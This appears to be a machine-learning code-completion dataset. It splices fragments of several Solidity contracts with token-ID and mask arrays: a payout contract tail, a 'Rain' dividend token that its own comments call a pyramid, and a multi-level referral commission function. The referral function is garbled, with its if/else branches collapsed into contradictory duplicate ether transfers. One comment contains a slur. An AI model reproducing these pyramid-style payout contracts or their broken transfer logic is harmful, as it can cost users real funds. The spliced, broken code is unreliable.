// send proceeds
function pay(address _addr, uint256 _amount) internal {
if (_amount == 0) {
return; // amount actually could be 0, e.g. initial funding or if balance is totally drained
}
uint256 payout = _amount.mul(PAYOUT_PCT).div(100);
_addr.transfer(payout);
uint256 remainder = _amount.sub(payout);
owner.transfer(remainder);
}
// become the new master
function mastery() public payable {
mastery(msg.sender);
}
// become the new master (and specify payout address)
function mastery(address _addr) isValid(_addr) public payable {
uint256 weiPaid = msg.value;
require(weiPaid >= MASTERY_THRESHOLD);
uint256 balPrev = this.balance.sub(weiPaid);
require(balPrev < MASTERY_THRESHOLD);
pay(master, balPrev);
MatchmasterTakeover(master, _addr, weiPaid); // called before new master set
master = _addr; // must be set after event logged
}
// in case it ever needs to be updated for future Ethereum releases, etc
function setGasReq(uint256 _gasReq) onlyOwner external {
gasReq = _gasReq;
}
// initial funding
function fund() onlyOwner external payable {
require(now < startTime); // otherwise can just call mastery()
// it is possible that funds can be forced in via selfdestruct, so
// just ensure balance is enough, at least after receiving this call (msg.value)
require(this.balance >= MASTERY_THRESHOLD);
}
// explicit balance getter
function getBalance() external constant returns (uint256) {
return this.balance;
}
}
library Lib {
// whether given address is a contract or not based on bytecode
function isContract(address addr) internal constant returns (bool) {
uint size;
assembly {
size := extcodesize(addr)
}
return (size > 1); // testing returned size "1" for non-contract accounts, so we're using that.
}
} | require same gas every time in maker()
| uint256 public gasReq; | 5,480,715 | [
1,
6528,
1967,
16189,
3614,
813,
316,
312,
6388,
1435,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
2254,
5034,
1071,
16189,
6113,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
//
// /$$ /$$ /$$ /$$$$$$ /$$ /$$$$$$$ /$$
//| $$$ /$$$ | $$ |_ $$_/| $$ | $$__ $$ |__/
//| $$$$ /$$$$ /$$$$$$ | $$ /$$ /$$$$$$ | $$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$ /$$$$$$$
//| $$ $$/$$ $$ |____ $$| $$ /$$/ /$$__ $$ | $$|_ $$_/ | $$$$$$$/ |____ $$| $$| $$__ $$
//| $$ $$$| $$ /$$$$$$$| $$$$$$/ | $$$$$$$$ | $$ | $$ | $$__ $$ /$$$$$$$| $$| $$ \ $$
//| $$\ $ | $$ /$$__ $$| $$_ $$ | $$_____/ | $$ | $$ /$$ | $$ \ $$ /$$__ $$| $$| $$ | $$
//| $$ \/ | $$| $$$$$$$| $$ \ $$| $$$$$$$ /$$$$$$| $$$$/ | $$ | $$| $$$$$$$| $$| $$ | $$
//|__/ |__/ \_______/|__/ \__/ \_______/ |______/ \___/ |__/ |__/ \_______/|__/|__/ |__/
//
// site: https://makingitrain.me
//
// support: <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="107d717b797e7779646271797e74756650777d71797c3e737f7d">[email protected]</a>
//
// discord: https://discord.gg/kndpqU3
//
contract Rain {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrator can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
require(msg.sender == owner);
_;
}
modifier limitBuy() {
if(limit && msg.value > 3 ether) { // check if the transaction is over 3 ether and limit is active
if ((msg.value) < address(this).balance && (address(this).balance-(msg.value)) >= 50 ether) { // if contract reaches 50 ether disable limit
limit = false;
}
else {
revert(); // revert the transaction
}
}
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event OnRedistribution (
uint256 amount,
uint256 timestamp
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Rain";
string public symbol = "Rain";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 20; // 20%
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 10 tokens)
uint256 public stakingRequirement = 0;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => address) internal referralOf_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => bool) internal alreadyBought;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) internal whitelisted_;
bool internal whitelist_ = true;
bool internal limit = true;
address public owner;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
constructor()
public
{
owner = msg.sender;
whitelisted_[msg.sender] = true;
whitelist_ = false;
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _undividedDividends = SafeMath.div(_ethereum*dividendFee_, 100); // 20% dividendFee_
uint256 _referralBonus = SafeMath.div(_undividedDividends, 2); // 50% of dividends: 10%
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, (_dividends));
address _referredBy = referralOf_[_customerAddress];
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], (_referralBonus / 2)); // Tier 1 gets 50% of referrals (5%)
address tier2 = referralOf_[_referredBy];
if (tier2 != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[tier2] >= stakingRequirement) {
referralBalance_[tier2] = SafeMath.add(referralBalance_[tier2], (_referralBonus*30 / 100)); // Tier 2 gets 30% of referrals (3%)
//address tier3 = referralOf_[tier2];
if (referralOf_[tier2] != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[referralOf_[tier2]] >= stakingRequirement) {
referralBalance_[referralOf_[tier2]] = SafeMath.add(referralBalance_[referralOf_[tier2]], (_referralBonus*20 / 100)); // Tier 3 get 20% of referrals (2%)
}
else {
_dividends = SafeMath.add(_dividends, (_referralBonus*20 / 100));
}
}
else {
_dividends = SafeMath.add(_dividends, (_referralBonus*30 / 100));
}
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
}
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* Transfer tokens from the caller to a new holder.
* 0% fee.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/**
* redistribution of dividends
*/
function redistribution()
external
payable
{
// setup
uint256 ethereum = msg.value;
// disperse ethereum among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (ethereum * magnitude) / tokenSupply_);
// fire event
emit OnRedistribution(ethereum, block.timestamp);
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(address _newAdmin)
onlyAdministrator()
external
{
owner = _newAdmin;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function disableWhitelist() onlyAdministrator() external {
whitelist_ = false;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
limitBuy()
internal
returns(uint256)
{
//As long as the whitelist is true, only whitelisted people are allowed to buy.
// if the person is not whitelisted but whitelist is true/active, revert the transaction
if (whitelisted_[msg.sender] == false && whitelist_ == true) {
revert();
}
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum*dividendFee_, 100); // 20% dividendFee_
uint256 _referralBonus = SafeMath.div(_undividedDividends, 2); // 50% of dividends: 10%
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, (_undividedDividends));
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement &&
referralOf_[_customerAddress] == 0x0000000000000000000000000000000000000000 &&
alreadyBought[_customerAddress] == false
){
referralOf_[_customerAddress] = _referredBy;
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], (_referralBonus / 2)); // Tier 1 gets 50% of referrals (5%)
address tier2 = referralOf_[_referredBy];
if (tier2 != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[tier2] >= stakingRequirement) {
referralBalance_[tier2] = SafeMath.add(referralBalance_[tier2], (_referralBonus*30 / 100)); // Tier 2 gets 30% of referrals (3%)
//address tier3 = referralOf_[tier2];
if (referralOf_[tier2] != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[referralOf_[tier2]] >= stakingRequirement) {
referralBalance_[referralOf_[tier2]] = SafeMath.add(referralBalance_[referralOf_[tier2]], (_referralBonus*20 / 100)); // Tier 3 get 20% of referrals (2%)
}
else {
_dividends = SafeMath.add(_dividends, (_referralBonus*20 / 100));
_fee = _dividends * magnitude;
}
}
else {
_dividends = SafeMath.add(_dividends, (_referralBonus*30 / 100));
_fee = _dividends * magnitude;
}
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
referralBalance_[owner] = SafeMath.add(referralBalance_[owner], (_referralBonus / 2));
_dividends = SafeMath.add(_dividends, _referralBonus / 2);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
alreadyBought[_customerAddress] = true;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | if contract reaches 50 ether disable limit
| if ((msg.value) < address(this).balance && (address(this).balance-(msg.value)) >= 50 ether) { | 2,453,271 | [
1,
430,
6835,
30093,
6437,
225,
2437,
4056,
1800,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5411,
309,
14015,
3576,
18,
1132,
13,
411,
1758,
12,
2211,
2934,
12296,
597,
261,
2867,
12,
2211,
2934,
12296,
17,
12,
3576,
18,
1132,
3719,
1545,
6437,
225,
2437,
13,
288,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0xA5d52Beb4EabAEfCEA96A03E38574C9cB2f864a6/sources/Quantum_Cube.sol | function to distribute basket amount ie 50% 25% 15% 10% if its not 4th user of that cycle | function amountDistribute(uint256 _level, bool _is4thUser, bool isRegister) internal {
uint256 valueBasketLocal = basketPrice[_level-1];
bool flag;
if (_is4thUser) {
address ref=users[users[msg.sender].upline].upline;
while (ref!=address(0)) {
if (checkEligibility(ref,_level) ) {
if (isRegister) {
users[ref].totalEarning=users[ref].totalEarning.add(valueBasketLocal);
address(uint256(ref)).transfer(valueBasketLocal);
users[ref].balanceEarnedBonus = users[ref].balanceEarnedBonus.add(valueBasketLocal);
users[ref].totalEarning=users[ref].totalEarning.add(valueBasketLocal - 0.05 ether);
address(uint256(ref)).transfer(valueBasketLocal - 0.05 ether);
address(uint256(owner)).transfer(0.05 ether);
users[ref].balanceEarnedBonus = users[ref].balanceEarnedBonus.add(valueBasketLocal - 0.05 ether);
}
flag = true;
break;
}
ref=users[ref].upline;
}
if (flag==false) {
if (isRegister) {
address(uint256(owner)).transfer(valueBasketLocal);
address(uint256(owner)).transfer(valueBasketLocal - 0.05 ether);
address(uint256(owner)).transfer(0.05 ether);
}
}
uint256 total = 100;
uint256 currAmount = 50;
address ref = users[msg.sender].upline;
while (currAmount!=0 && ref!=address(0)) {
if (users[ref].basketsPurchased>=_level && currAmount==50) {
redistributeBalanceRefactor(isRegister, _level, currAmount, ref);
currAmount = 25;
total = total.sub(50);
}
else if(users[ref].basketsPurchased>=_level && currAmount==25){
redistributeBalanceRefactor(isRegister, _level, currAmount, ref);
currAmount = 15;
total = total.sub(25);
}
else if(users[ref].basketsPurchased>=_level && currAmount==15){
redistributeBalanceRefactor(isRegister, _level, currAmount, ref);
currAmount = 10;
